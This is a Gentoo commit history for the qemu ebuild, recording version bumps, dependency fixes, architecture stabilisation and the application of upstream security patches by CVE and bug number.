Well, not a rename per se, but the file was moved (in qemu commit 8f8fd9edba4bd6768da2c8e2bea49ad5c16ced1a) from scripts/qmp/ to python/qemu/. Follow this movement. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Drop --with-sdlabi configure argument
The upstream qemu dropped this in 0015ca5cbabe0b31d31. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
James Le Cuirot · gentoo
app-emulation/qemu: Move some DEPEND entries to BDEPEND
I'm not sure about PYTHON_DEPS but it usually needs to be in both and this is safest anyhow. Package-Manager: Portage-2.3.61, Repoman-2.3.12 Signed-off-by: James Le Cuirot <chewi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #678302
Bug: https://bugs.gentoo.org/678302 Package-Manager: Portage-2.3.60, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 x86 stable wrt bug #678302
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.51, Repoman-2.3.11 RepoMan-Options: --include-arches="amd64 x86"
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix vulnerability, bug #678302
Take over commit From b05b267840515730dbf6753495d5b7bd8b04ad1c Mon Sep 17 00:00:00 2001 From: Gerd Hoffmann <kraxel@redhat.com> Date: Tue, 8 Jan 2019 11:23:01 +0100 Subject: [PATCH] i2c-ddc: fix oob read Bug: https://bugs.gentoo.org/678302 Package-Manager: Portage-2.3.60, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #678302
Bug: https://bugs.gentoo.org/672346 Bug: https://bugs.gentoo.org/673108 Bug: https://bugs.gentoo.org/678302 Package-Manager: Portage-2.3.60, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Doug Goldstein · gentoo
app-emulation/qemu: fix build with SOFTMMU_TARGETS empty
When SOFTMMU_TARGETS are empty the qemu-bridge-helper isn't installed anymore causing a failure to build due to the fcaps call. Closes: https://bugs.gentoo.org/675110 Signed-off-by: Doug Goldstein <cardoe@gentoo.org> Package-Manager: Portage-2.3.51, Repoman-2.3.11
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #673108)
Package-Manager: Portage-2.3.54, Repoman-2.3.12 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #673108
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.51, Repoman-2.3.11
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: use ver_test instead of versionator
Closes: https://bugs.gentoo.org/674628 Package-Manager: Portage-2.3.54, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix python dependencies
Closes: https://bugs.gentoo.org/672950 Package-Manager: Portage-2.3.53, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: add capstone slot operator
Package-Manager: Portage-2.3.53, Repoman-2.3.12 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: do no use dohtml
Closes: https://bugs.gentoo.org/673876 Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: reintroduce 2.12.1, remove correct version
Closes: https://bugs.gentoo.org/673458 Package-Manager: Portage-2.3.52, Repoman-2.3.12 RepoMan-Options: --force Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop old and vulnerable
Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: synchronize 3.1.0 and 9999 ebuilds
- update to EAPI=7 - drop versionator inherit Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: version bump to 3.1.0
- use RESTRICT=strip, bug #651422 - switch to tar.xz, bug #666726 - add missing use constraints, bug #664474 qemu_softmmu_targets_riscv32? ( fdt ) qemu_softmmu_targets_riscv64? ( fdt ) - 3.1.0 already contains patches for CVE-2018-15746 - applied patch for CVE-2018-20123 - disable bt subsystem entirely as a "workaround" for CVE-2018-19665. Upstream deprecated the subsystem in November and states that it had been dysfunctional for years with likely no users. Bug: https://bugs.gentoo.org/664740 Bug: https://bugs.gentoo.org/672346 Bug: https://bugs.gentoo.org/673108 Closes: https://bugs.gentoo.org/651422 Closes: https://bugs.gentoo.org/664474 Closes: https://bugs.gentoo.org/666726 Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jonathan Callen · gentoo
app-emulation/qemu: add python3_7
Package-Manager: Portage-2.3.52, Repoman-2.3.12 Signed-off-by: Jonathan Callen <jcallen@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Drop sdl-1.2 support
QEMU has deprecated sdl-1.2 support nearly a year ago (in upstream commit of e52c6ba3414). It's not removed yet, but it soon will be. Therefore, drop support for it in our ebuild. This is achieved by basically dropping old 'sdl' use flag and then renaming 'sdl2' to 'sdl'. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Drop gtk2 use flag
QEMU has deprecated gtk2 support nearly a year ago, and recently it dropped the support completely (upstream commit 89d85cde75143). Reflect this change in the live ebuild. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu-9999: Sync softmmu targets
Qemu dropped ppcemb target in a69dc537cc1a6d3c3cb35d30197ed45914a150c3. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #664062
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #664062)
Package-Manager: Portage-2.3.48, Repoman-2.3.10
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop version 2.11.*
Bug: https://bugs.gentoo.org/663502 Package-Manager: Portage-2.3.47, Repoman-2.3.10
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.12.1, add ssbd support
Package-Manager: Portage-2.3.47, Repoman-2.3.10
Matthias Maier · gentoo
app-emulation/qemu: version bump to 3.0.0
Closes: https://bugs.gentoo.org/664052 Package-Manager: Portage-2.3.47, Repoman-2.3.10
Matthias Maier · gentoo
app-emulation/qemu: add python to DEPEND
Closes: https://bugs.gentoo.org/662024 Package-Manager: Portage-2.3.47, Repoman-2.3.10
Repository mirror & CI · gentoo
Merge updates from master
Marty E. Plummer · gentoo
app-emulation/qemu: add missing versionator inherit
c6b150836dfef848e51ec2cce801b12daf2c77b1 dropped versionator from linux-info, which these ebuilds were using via the implicit inherit. Package-Manager: Portage-2.3.44, Repoman-2.3.10 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jason A. Donenfeld · gentoo
app-emulation/qemu: fix aarch64 tcg simd crash
QEMU mailing list thread is here: https://marc.info/?l=qemu-devel&m=153229252602494&w=2 The patch is here: https://marc.info/?l=qemu-devel&m=153230940005574&w=2 Package-Manager: Portage-2.3.43, Repoman-2.3.10
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: mark hppa firmware as prebuilt
Package-Manager: Portage-2.3.41, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update patches, fix compilation with python-2
Closes: https://bugs.gentoo.org/659090 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #658180
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #658180)
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: rearrange patches
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Jason A. Donenfeld · gentoo
app-emulation/qemu: fix major TCG crash
This is a custom backport of a patch being prepared for 2.12.1. Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix compilation with python2
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix crash during Windows guest installation
Closes: https://bugs.gentoo.org/656886 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix compilation if en_US.UTF-8 is unavailable
Thanks to Arfrever for the proper patch. Closes: https://bugs.gentoo.org/657766 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: try to fix dependency mess
- add missing USE=infiniband dependencies - fix automagic libxml2 dependency, also fixes static build - add python-3 support - fix automagic libxbcommon dependency Closes: https://bugs.gentoo.org/656006 Closes: https://bugs.gentoo.org/656076 Closes: https://bugs.gentoo.org/657428 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: drop obsolete
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.12
Closes: https://bugs.gentoo.org/654174 Package-Manager: Portage-2.3.36, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: desnappify
commit to stable Package-Manager: Portage-2.3.28, Repoman-2.3.9 RepoMan-Options: --force
Matthias Maier · gentoo
app-emulation/qemu: desnappify live ebuild
Package-Manager: Portage-2.3.28, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: ebuild maintenance
* desnappify * fix ARM performance issue. Thanks to David Flogeras and Alexander Tsoy. Closes: https://bugs.gentoo.org/647952 Closes: https://bugs.gentoo.org/651602 Package-Manager: Portage-2.3.28, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: drop 2.11.0
Package-Manager: Portage-2.3.28, Repoman-2.3.9
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #649616)
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: Revert: update 2.11.1-r52, 9999
This reverts commit 289a2b775c75dd1e88aa972642624a0bf692e957.
Matthias Maier · gentoo
app-emulation/qemu: Revert: add rule to fix permissions on /dev/vfio/vfio
This reverts commit 2fc1bc6c7b1f41a3a7df74ce8e170996eb7e36d9.
Matthias Maier · gentoo
app-emulation/qemu: update 2.11.1-r52, 9999
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: add rule to fix permissions on /dev/vfio/vfio
The device node /dev/vfio/vfio gets created on modprobing the vfio* modules. This happens in particular on demand when a qemu vm with PCI passthrough is started up. The default permissios for the freshly created device node is crw-rw-rw- 1 root root 10, 196 Mar 27 08:44 /dev/vfio/vfio This is terrible. This patch adds an udev rules and makes sure that the device node has rw permissions for user root, and group kvm (and no permissions for all). This fixes - startup when a qemu-kvm is started as non-root (provided the user is in group kvm, which is our current policy for accessing /dev/kvm, etc., anyway). - work around this security vulnerability, where /dev/vfio/vfio is created with world writable permissions upon modprobe. [1] Thanks to username234, Kash Pande, Ted Rodgers for discovery and patch! [1] Steps to reproduce: % ls -la /dev/vfio/vfio crw------- 1 root root 10, 196 Mar 27 15:40 /dev/vfio/vfio % modprobe vfio % ls -la /dev/vfio/vfio crw-rw-rw- 1 root root 10, 196 Mar 27 15:41 /dev/vfio/vfio [2] I cannot find an udev rule installed by libvirt/qemu/... that triggers these permissions. Bug: https://bugs.gentoo.org/651668 Package-Manager: Portage-2.3.24, Repoman-2.3.6 RepoMan-Options: --force
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #649616
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: fix capstone dependency
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: restore keywords
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: drop 2.11.1
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: 2.11.1: apply security patches
* disable capstone * apply patch for CVE-2018-7550 Bug: https://bugs.gentoo.org/647570 Bug: https://bugs.gentoo.org/649616 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: 2.11.1: New binary blob pinning, CVE patches, maintenance
* new binary blobs pinning =sys-firmware/edk2-ovmf-2017_p20180211 =sys-firmware/ipxe-1.0.0_p20180211 =sys-firmware/seabios-1.11.0 =sys-firmware/sgabios-0.1_pre8-r1 =sys-firmware/vgabios-0.7a-r1 keyword ebuild * fix include path for capstone, bug 647570 * add USE=capstone support, bug 647570 * apply patch for CVE-2018-7550 Closes: https://bugs.gentoo.org/647570 Bug: https://bugs.gentoo.org/649616 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: bump pinned firmware versions
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Zero_Chaos · gentoo
app-emulation/qemu: bug #647570
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Patrick McLean · gentoo
app-emulation/qemu: Version bump to 2.11.1
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Michał Górny · gentoo
app-emulation/qemu: [QA] Fix DoubleEmptyLine
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable version
Bug: https://bugs.gentoo.org/646814 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #646814)
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #646814
Signed-off-by: Agostino Sarubbo <ago@gentoo.org> Package-Manager: Portage-2.3.19, Repoman-2.3.6 RepoMan-Options: --include-arches="amd64"
Matthias Maier · gentoo
app-emulation/qemu: 2.11.0-r50: pin new firmware versions
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: fix dependencies in live ebuild
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.11.0, important security fixes
- Added slot operator for libnfs - Added patch for glibc-2.27 compatibility - Added patch for CVE-2017-16845 - Backported upstream msr / spec ctrl patches: 6cfbc54e89 i386: Add EPYC-IBPB CPU model ac96c41354 i386: Add new -IBRS versions of Intel CPU models 1b3420e1c4 i386: Add FEAT_8000_0008_EBX CPUID feature word a2381f0934 i386: Add spec-ctrl CPUID bit a33a2cfe2f i386: Add support for SPEC_CTRL MSR - CVEs addressed by bump: CVE-2017-17381 CVE-2017-18030 CVE-2017-18043 - CVEs addressed by patchset: CVE-2017-15124 CVE-2017-16845 CVE-2018-5683 - CVE-2018-5748 is a libvirt vulnerability, not a qemu issue... Bug: https://bugs.gentoo.org/638506 Bug: https://bugs.gentoo.org/643432 Bug: https://bugs.gentoo.org/646814 Closes: https://bugs.gentoo.org/641100 Closes: https://bugs.gentoo.org/646568 Closes: https://bugs.gentoo.org/646710 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Alexey Sokolov · gentoo
app-emulation/qemu: Fix build with latest git:
* add hppa to softmmu targets * add aarch64_be to user targets * update the CFLAGS patch Signed-off-by: Matthias Maier <tamiko@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/7020
George Gaydarov · gentoo
app-emulation/qemu: Make CONFIG_CHECK CPU-model dependent
Closes: https://github.com/gentoo/gentoo/pull/6285 Signed-off-by: George Gaydarov <git@gg7.io> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable (bug #634148)
Package-Manager: Portage-2.3.13, Repoman-2.3.4
Manuel Rüger · gentoo
app-emulation/qemu: Stable on amd64
Package-Manager: Portage-2.3.12, Repoman-2.3.4
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #634148)
Package-Manager: Portage-2.3.13, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: Live ebuild maintennance, bug #631206
Closes: https://bugs.gentoo.org/631206 Package-Manager: Portage-2.3.8, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable
Package-Manager: Portage-2.3.8, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: Version bump to 2.10.1, various security fixes
Bug: https://bugs.gentoo.org/630432 Bug: https://bugs.gentoo.org/633822 Bug: https://bugs.gentoo.org/634070 Bug: https://bugs.gentoo.org/634148 Package-Manager: Portage-2.3.8, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #629350
Bug: https://bugs.gentoo.org/629350 Package-Manager: Portage-2.3.8, Repoman-2.3.4
Robin H. Johnson · gentoo
app-emulation/qemu: need seavgabios for pseries
Emulation of PPC64 pSeries needs a VGA BIOS: $ qemu-system-ppc64 -m 256 -nographic \ -echr 0x05 \ -kernel cirros-0.4.0~pre1-ppc64-kernel \ -initrd cirros-0.4.0~pre1-ppc64-initramfs \ -append rdroot \ -m 256 \ -machine pseries qemu-system-ppc64: Initialization of device VGA failed: failed to find romfile "vgabios-stdvga.bin" Tested on bogsucker.ppc64.dev.g.o by booting CirrOS PPC64 images. Package-Manager: Portage-2.3.8, Repoman-2.3.3 Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
Jan Vesely · gentoo
app-emulation/qemu: Remove bundled copy of libfdt
Bump min dependency on sys-apps/dtc to 1.4.2. Signed-off-by: Matthias Maier <tamiko@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/5781
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #629350)
Package-Manager: Portage-2.3.8, Repoman-2.3.3
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #629350
Package-Manager: Portage-2.3.8, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: add s390-netboot.img to prestripped list
Package-Manager: Portage-2.3.8, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: do not install removed documentation
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.10.0, bug #629350
This version bump also addresses a number of security issues CVE-2017-12809, bug #628498 CVE-2017-13673, bug #629316 CVE-2017-13711, bug #629350 Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.9.0-r2, bug #625614
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: stabilize on amd64, x86, bug #625614
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: Remove faulty patch
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: security patches
CVE-2017-7539, bug #625850 CVE-2017-10664, bug #623016 CVE-2017-10806, bug #624088 Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable version 2.9.0-r54
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: security fixes
CVE-2017-11334, bug #621292 CVE-2017-11434, bug #625614 CVE-2017-9503, bug #621184 CVE-2017-9524, bug #621292 Package-Manager: Portage-2.3.6, Repoman-2.3.3
Michał Górny · gentoo
app-emulation/qemu: Add missing := on app-arch/snappy
Matthias Maier · gentoo
app-emulation/qemu: use tc-enables-pie instead of gcc-specs-pie
Package-Manager: Portage-2.3.6, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #616874
Package-Manager: Portage-2.3.6, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #616874
Package-Manager: Portage-2.3.5, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #616874
Package-Manager: Portage-2.3.5, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: rename patches
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: patch for CVE-2017-7493, bug #618808
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: 2.9.0-r53, 9999: comestic changes
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: add dependency on edk2-ovmf, keyword 2.9.0-r53
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #616460
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #616460
Package-Manager: Portage-2.3.5, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update to seabios 1.10.2
- pin seabios-1.10.2 - remove bundled bios-256k.bin, bug #617422 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: add REQUIRED_USE for mips64el-sotfmmu, bug #617354
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: bugfix, add use dependency seabios[seavgabios]
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: add an elog warning for firmware bump
See bug #560050 and bug #529862 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: replace vgabios firmware with seavgabios, bug #529862
Special thanks to Alexander Patrakov for the ebuild patch. - Dropping keywords due to potential issue with migration and resume of hibernated guests. See, e.g. bug #560050 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: Various security patches for 2.9.0
bug 616636, CVE-2017-8112 bug 616870 [1] bug 616872 [2] bug 616874 [1] [1] minor change, queued upstream, no CVE assigned yet [2] queued upstream, no CVE assigned yet Package-Manager: Portage-2.3.3, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #616460
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.9.0, bug #616554
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: security fixes
CVE-2017-7471, bug #616484 CVE-2017-7718, bug #616482 already applied on stable-2.8 as 3328c14e63f08fb07e8c6dec779c9d365e9e9864 CVE-2017-7980, bug #616462 already applied on stable-2.8 as a290442234fa214fcb7f45fc91d802bcb8d05c4b 031700e4527b9e05798f7040dccdf638da27aee2 CVE-2017-8086, bug #616460 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: remove unused use flag "threads", bug #615878
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: Fix dependency, bug #614198
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #614744
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #614744
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #614744
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: maintenance: update 9999, small cleanup
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: apply patch for CVE-2017-7377, bug #614744
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.8.1
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: fix static dependencies, bug #614198
Oh *boy* what mess did I create with the last round of dependency fixes? This commit puts back the old behavior of requiring only a subset of the dependencies to be built with static-libs if USE=static-user is set. Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: Apply upstream patches for CVE-2016-9602, bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: require app-accessibility/brltty[api], bug #613138
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: security patches, bug #612220
CVE-2017-6505, bug #612220 Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: use pax-mark "mr" instead of pax-mark "m", bug #575594
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live-ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: configure tools with all options, bug #611958
This fixes a bug introduced in my previous commit fe801faa69cb147f4fcf2c112e8275f7da935b3d Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: fix inverted logic in configure stage, bug #611238
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Patrick Lauer · gentoo
app-emulation/qemu: Whitespace
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: Reintroduce USE="static-user"
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: ebuild maintenance (2.8.0-r5)
